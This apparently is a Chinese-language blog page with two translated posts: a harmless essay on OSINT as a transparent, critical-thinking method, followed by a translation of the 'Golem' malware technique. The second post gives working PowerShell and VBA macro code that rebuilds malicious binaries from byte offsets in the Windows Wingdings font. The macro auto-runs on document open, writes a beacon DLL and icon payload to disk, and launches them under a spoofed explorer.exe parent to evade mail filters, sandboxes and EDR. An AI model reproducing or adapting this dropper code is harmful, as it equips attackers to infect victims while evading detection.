2019年2月1日 星期五

OSINT Is A State Of Mind中譯


OSINT是一種意識
  概括眾多公開情報者其實是由數個成員組成的小團體,他們公布他們的本領、知識與發現。一些非公開的情報者,我能理解給予他們案件的機會,他們像Gollum看待珍寶那般,總是有所保留以備不時之需。共同點就是僅公開他們描述的結論,而非他們經歷的過程。
  (概括眾多公開情報者(OSINTians)其實是由數個成員組成的小團體,他們公布他們的本領、知識與發現。一些非公開情報者(Dark OSINTians),從不公開他們所發現的任何資訊,並且就像魔界中的咕嚕一樣,對待這些OSINT資訊如寶貝一樣。我能理解在有些案件中,這會帶予他們一些好處,在技術或工具方面我們同樣都會有所保留,但他們有一個共同點,就是僅會公開他們的結論,而非他們經歷的過程。)
  當他們發表結論,被賦予叫座叫好,盡然好的研究應有好的成果。但是這對於他們的保留秘密的辦事方式是一種恥辱。這是數年來關注OSINT的事情時的明顯現象,也是今日撰文的緣由。
   (當他們發表結論,被賦予叫座叫好,當然好的研究應該有好的成果,但遺憾的是他們的方法仍然是個秘密。這是數年來關注OSINT的事情時的明顯現象,也是今日撰文的緣由。)

OSINT的心態
  OSINT並非工具或腳本那樣任你安排,我看過太多人沉淪在自己主觀的發現裡,以致產生出在OSINT裡塘塞的內容、劇本與反查的工具。
  而我也像他們,卻不能排除他們。
  我注重的點是,倘若你沒有搜索的計畫,你要用什麼工具?那要你找什麼?你要的從何找起?
  我認為根本就沒有一個工具能做到。

若非你能衡量你對OSINT的態度
  當你開始著手研究,想些關於如何找到可公開的情報立場與必要的資料,考慮到使用的資源與工具,並衡量到其他的眾多考量。維持個人的偏見造成研究上被模糊被影響。事實上對於你制定的每個問題,你必須能對自己質詢。
  你是否有所目的?你問對問題了嗎?持有的資料是否為回答問題所必要的嗎?
  這全歸咎於態度上,批判性思考是做出OSINT的關鍵。要記住,你收集的資訊可能也包含謊言,如同假新聞、機器人與偽造的報告,他們無處不在。來源是否為可信的而且如何判定這些可信?我每次閱讀OSINT研究人員案例和報告所關注的。


  報告沒有描述的:
l  原始研究題目為何?
l  你嘗試回答了什麼?
l  你選擇了什麼去回答問題?
l  來源是否可靠?
l  選擇該來源後是否會造成事後的影響?
l  你訂出那些關鍵字來回覆問題?
l  為何是這些關鍵字?
l  為何使用這些工具或字眼?
  最重要的,當你進行研究時,那些問題不能回答?部分回答也是種答案。故在描述上!又或者最終未找到答案,儘管並非最要緊,卻也是一種答案!
  情報流程可能讓一次搜查得以順利完成。但是我甚少看到此過程被記錄於報告裡,心裡總是留下很多的疑問。我認為不應該在撰文時隱瞞你的步驟、工具與研究方式。
  研究過程應該要顯得公開透明。想想看,當你使用了非完全透明的方法得到的結論,其價值何在?個人而言,我喜歡反思每個步驟,留意正在做的事情,確保進退得宜。
  無論此方法對於撰文是否為最佳,但至少該研究的過程對我、黨派組織與客戶是完全透明的。這是我採取的步驟:
1.      選擇研究對象(最好對客戶有所掌握並明訂出哪些可回答的問題!)
--- 知其所以然卻又無從答起!(何謂其所以然?)
--- 其所在位置與相關人等的問題是可公開的!
2.      對目標進行作業(掌握你的客戶與其對手)
3.      定義主問題,並延伸出其子問題。著作"tricks"使用了七個"W"(其實有八個)
--- what何事
--- where何處
--- when何時
--- what with與什麼
--- which method如何做
--- when當時情形
--- who何人
--- why為何如此做
4.      定義來源。
5.      對每個子問題收集關鍵字。
6.      思考該工具是否為研究必要之。
7.      快速檢視搜索結果(個人稱為計時搜索,以備開始研究後沉淪於此資訊圈裡)
8.      初步調查是否如期待那樣?否則重複步驟15
9.      竭盡你的資源收集必要資訊。
10.  定義並分析所獲資訊。
11.  對於二次發現是否符合你所期望?否則重複步驟1至8。
12.  產生報告。涵蓋所有整理的、此次所找到的和未找到的發現,如ACH般檢視。
13.  將報告擱置,對!別盲從的送出你的報告,讓自己訂正一番,問自己倘若我是此次報告的客戶與論述者,報告對目標應該會有那些正常的發現?讓無關人等閱讀此篇,總會得出新的疑問與發現。
14.  當你的報告或發現得到回答上的問題,重複所有步驟。
  因此,當你有一個情報(研究)圈,只有以適當的方式思考時,它才能發揮作用。
  我秉持著努力與紀律這條路在工作上。循跡般地回顧每一步,往往都費神耗時。有時候在研究上你過了某個路口而走到盡頭,要總是能退回來,只要走一步並回頭紀錄,就能前往下一個路口。如此方式也能幫助你日後的報告,為你揭開新的方向,了解當時是以什麼作此選擇。
  總和本篇不僅是尋找公開資源。OSINT是一種批判性思考的態度對於能收集的原始資料,使用透明公開的辦法萃取出可公布的情報,做出明確的選擇並分析。
  這是我(原文作者)首篇部落格文章,希望你喜歡。歡迎留言建議或詢問。
Dutch Osint Guy
Twitter : Dutch_Osintguy
Mail : Dutchosintguy@protonmail.com

Header Image : Mind Blown by Fede Cook

Golem Malware - The Malware Hiding in Your Windows Fonts Folder中譯

文章來源:http://sysadminconcombre.blogspot.com/2018/11/golem-malware-malware-hiding-in-your.html
Golem (魁儡)惡意軟體­ ---  躲藏在Windows字型檔下的軟體
前言
  有種依附在已安裝的合法二進位檔中(LoLBINsLiving-Off-the-Land Binaries),有點像是"搭便車"的方式,利用受害者電腦來執行惡意動作。不必躲在任何附加的檔案額外再去做轉換的動作,卻早已潛藏在受害者的電腦中。
  雖然,在眾多攻擊案例裡,普遍遵循下列攻擊步驟(playskool高階步驟)
1.      傳送一個有效的夾帶檔案,包含:
l   需要被執行的惡意代碼
l   或者
l   若不需要惡意代碼,那麼就會在第三個步驟附帶下載惡意元件的代碼"
2.      誘使受害者執行附加檔
3.      該附加檔案將會:
l   LoLBIN下執行惡意的元件
l   或者
l   下載LoLBIN並執行惡意的元件
目標
  我想到一個可以遵循的標準:
1.      經過郵件過濾器、沙盒等等時不附帶任何惡意代碼(甚至惡意Byte機械代碼也不行,如下http://www.exploit-monday.com/2011/09/dropping-executables-with-powershell.html)不下載惡意代碼
2.      執行惡意代碼



惡意軟體從受害者電腦自我產生新字型
  首先我們需要找到每個Windows作業系統版本上相同的元件,我找了Holy Grail與這個:
  我在Windows各個版本比對了文鼎的字型,確認相同無誤。
  要實現我們的目標,字型似乎必須是普遍於所有Windows電腦之間。如何實現呢?步驟如下:
1.      從我們電腦裡的惡意軟體收集位元組
2.      將文鼎字型與其比對首個位元組碼
3.      當我在字型裏頭找到相同的位元組 我就將同樣位置記錄在文字檔裡
4.      重覆該程序直到我們找遍所有相符惡意軟體的位元組,同樣位置記錄到文字檔
5.      我們的有效載荷會涵蓋來自文鼎字型的每個位元組的位置
6.      在一個受害機器上,有效載荷會將文鼎字型中的Byte資料,建構成惡意元件



Powershell的程式碼用來尋找字型中的byte資料:
$Font = "C:\Windows\Fonts\wingding.ttf"
$Malware = "C:\Users\Administrator\Pictures\2.PNG"

$fontArray = Get-Content $Font -Encoding Byte -ReadCount 0
$malwareArray = Get-Content $Malware -Encoding Byte -ReadCount 0
$offsetArray = @()
foreach ($byteInMalware in $malwareArray){
    $index = 0
    foreach ($byteInFont in $fontArray) {
        if ($byteInMalware -eq $byteInFont) {
            $offsetArray += $index
            break
        }
        $index++
    }   
}
  PowerShell代碼可以插入VBA巨集,該代碼會產生各位置的位元組去建構惡意元件。
$i=0
$payload = ""
$j=0
$u=1
$payDef = ""
foreach($offset in $offsetArray){  
 
    if($i -eq 30) {
        $payload = $payload + ", " + $offset + " _`r`n"
        $i=0       
        $j++ 
    }
    else {
       if($i -eq 0) {
        $payload = $payload + $offset       
       }
       else {
        $payload = $payload + ", " + $offset       
       }
    }
    if($j -eq 25)  {
        $payDef = $payDef + "`r`nFunction ccc$u()
tt$u = Array($payload)
ccc$u = tt$u
End Function"
        $payload = ""
        $u++
        $j = 0
    }
    $i++
}
if($payload -ne ""){
$payDef = $payDef + "`r`nFunction ccc$u()
tt$u = Array($payload)
ccc$u = tt$u
End Function"
}
 
$payDef
結果如下:



  該VBA代碼將會依序使用我們創建的陣列去產生惡意的元件,接著就會為了RunDll32.exe去選擇Explorer.exe作為子程序去混淆EDR程序;-)),然後就會在RunDll32.exe(.DLL.ICO資源運行PowerShell指令碼)執行惡意元件。被注入記憶體的程序就能取代寫入文件到硬碟的作業。詳細操作留給讀者。
VBA代碼:
[...] --> you array of bytes containing the position of necessary bytes in the Windings font.

'example to join the bytes for the fist malicious component

    t1 = cc1
    t2 = cc2
    t3 = cc3
    t4 = cc4
    t5 = cc5
    t6 = cc6
    t7 = cc7
    t8 = cc8
    t9 = cc9
    t10 = cc10
    t11 = cc11
    t12 = cc12
    t13 = cc13
    t14 = cc14
    t15 = cc15
    t16 = cc16
    t17 = cc17
    t18 = cc18

    ttt = Split(Join(t1, ",") & "," & Join(t2, ",") & "," & Join(t3, ",") & "," & Join(t4, ",") & "," & Join(t5, ",") & "," & Join(t6, ",") & "," & Join(t7, ",") & "," & Join(t8, ",") & "," & Join(t9, ",") _
     & "," & Join(t10, ",") & "," & Join(t11, ",") & "," & Join(t12, ",") & "," & Join(t13, ",") & "," & Join(t14, ",") & "," & Join(t15, ",") & "," & Join(t16, ",") & "," & Join(t17, ",") & "," & Join(t18, ","), ",")


[...]


    Dim nb As Integer
    Dim nb2 As Integer
    nb = UBound(ttt) - LBound(ttt) + 1 'ttt is a joined byte array
    nb2 = UBound(tt) - LBound(tt) + 1
    nb3 = UBound(ttttttt) - LBound(ttttttt) + 1
    Dim intFileNumber As Integer
    Dim i As Integer
    Dim j As Integer
    Dim lngFileSize As Long
    Dim lngFileSize2 As Long
    Dim strBuffer As String
    Dim strBuffer2 As String
    Dim lngCharNumber As Long
    Dim lngCharNumber2 As Long
    Dim strCharacter As String * 1
    Dim strCharacter2 As String * 1
    Dim strFileName As String
    Dim strFileName2 As String
    Dim offset() As Variant
       
    strFileName = "C:\Windows\Fonts\wingding.ttf"
    intFileNumber = FreeFile
    Open strFileName For Binary Access Read Shared As #intFileNumber
        lngFileSize = LOF(intFileNumber)
        strBuffer = Space$(lngFileSize)
        Get #intFileNumber, , strBuffer
    Close #intFileNumber

   Dim nFileNum As Long
   Dim sFilename As String
   Dim ind As Long
   sFilename2 = "C:\Users\Public\Documents\changeMyParent.exe" ' crafted binary that will be use to select the parent of rundll32
   sFilename = "C:\Users\Public\Documents\runPoshCode.dll" ' .DLL that will run powershell beacon from an image
   sFilename3 = "C:\Users\Public\Documents\BEACON.ico" ' malicious powershell beacon registered in an .ICO
   nFileNum = FreeFile
   ' a loop would be better ;-)
   Open sFilename2 For Binary Lock Read Write As #nFileNum
       For lngCharNumber = 0 To nb - 1
        ind = lngCharNumber + 1
        off = ttt(lngCharNumber)
        strCharacter = Mid(strBuffer, off, 1)
        Put #nFileNum, ind, strCharacter
       Next lngCharNumber
   Close #nFileNum
  
   nFileNum = FreeFile
   Open sFilename For Binary Lock Read Write As #nFileNum
       For lngCharNumber = 0 To nb2 - 1
        ind = lngCharNumber + 1
        off = tt(lngCharNumber)
        strCharacter = Mid(strBuffer, off, 1)
        Put #nFileNum, ind, strCharacter
       Next lngCharNumber
   Close #nFileNum
  
   nFileNum = FreeFile
   Open sFilename3 For Binary Lock Read Write As #nFileNum
       For lngCharNumber = 0 To nb3 - 1
        ind = lngCharNumber + 1
        off = ttttttt(lngCharNumber)
        strCharacter = Mid(strBuffer, off, 1)
        Put #nFileNum, ind, strCharacter
       Next lngCharNumber
   Close #nFileNum
   rr
End Sub

Sub rr()
  Dim xx As String
  Dim oihfasf As Object, eopuf As Object, kdj As Object
  Dim oDic As Object, a() As Variant
  Dim pskaf As Integer

  Set oDic = CreateObject("Scripting.Dictionary")

  xx = "."

  Set oihfasf = GetObject("winmgmts:\\" _
      & xx & "\root\CIMV2")
  Set eopuf = oihfasf.ExecQuery _
      ("Select Name, ProcessID FROM Win32_Process", , 48)

  For Each kdj In eopuf
      If (kdj.Properties_("Name").Value) = "explorer.exe" Then
          pskaf = (kdj.Properties_("ProcessID").Value)
      End If
  Next
Dim t As Date

Dim cnt As Long
Dim arr(2) As Byte

Dim xl As String
xl = "C:\Users\Public\Documents\changeMyParent.exe ""C:\Windows\system32\RunDll32.exe C:\Users\Public\Documents\runPoshCode.dll,ComputeFmMediaType -f C:\Users\Public\Documents\BEACON.ico"" " & pskafxx = "."
Set ow = GetObject("winmgmts:\\" & xx & "\Root\cimv2")
Set os = ow.Get("Win32_ProcessStartup")
Set oc = os.SpawnInstance_
Set op = GetObject("winmgmts:\\" & xx & "\root\cimv2:Win32_Process")
op.Create xl, Null, oc, aslh

End Sub
Sub AutoOpen()
    cc
End Sub
Sub Workbook_Open()
    cc
End Sub
文章至此!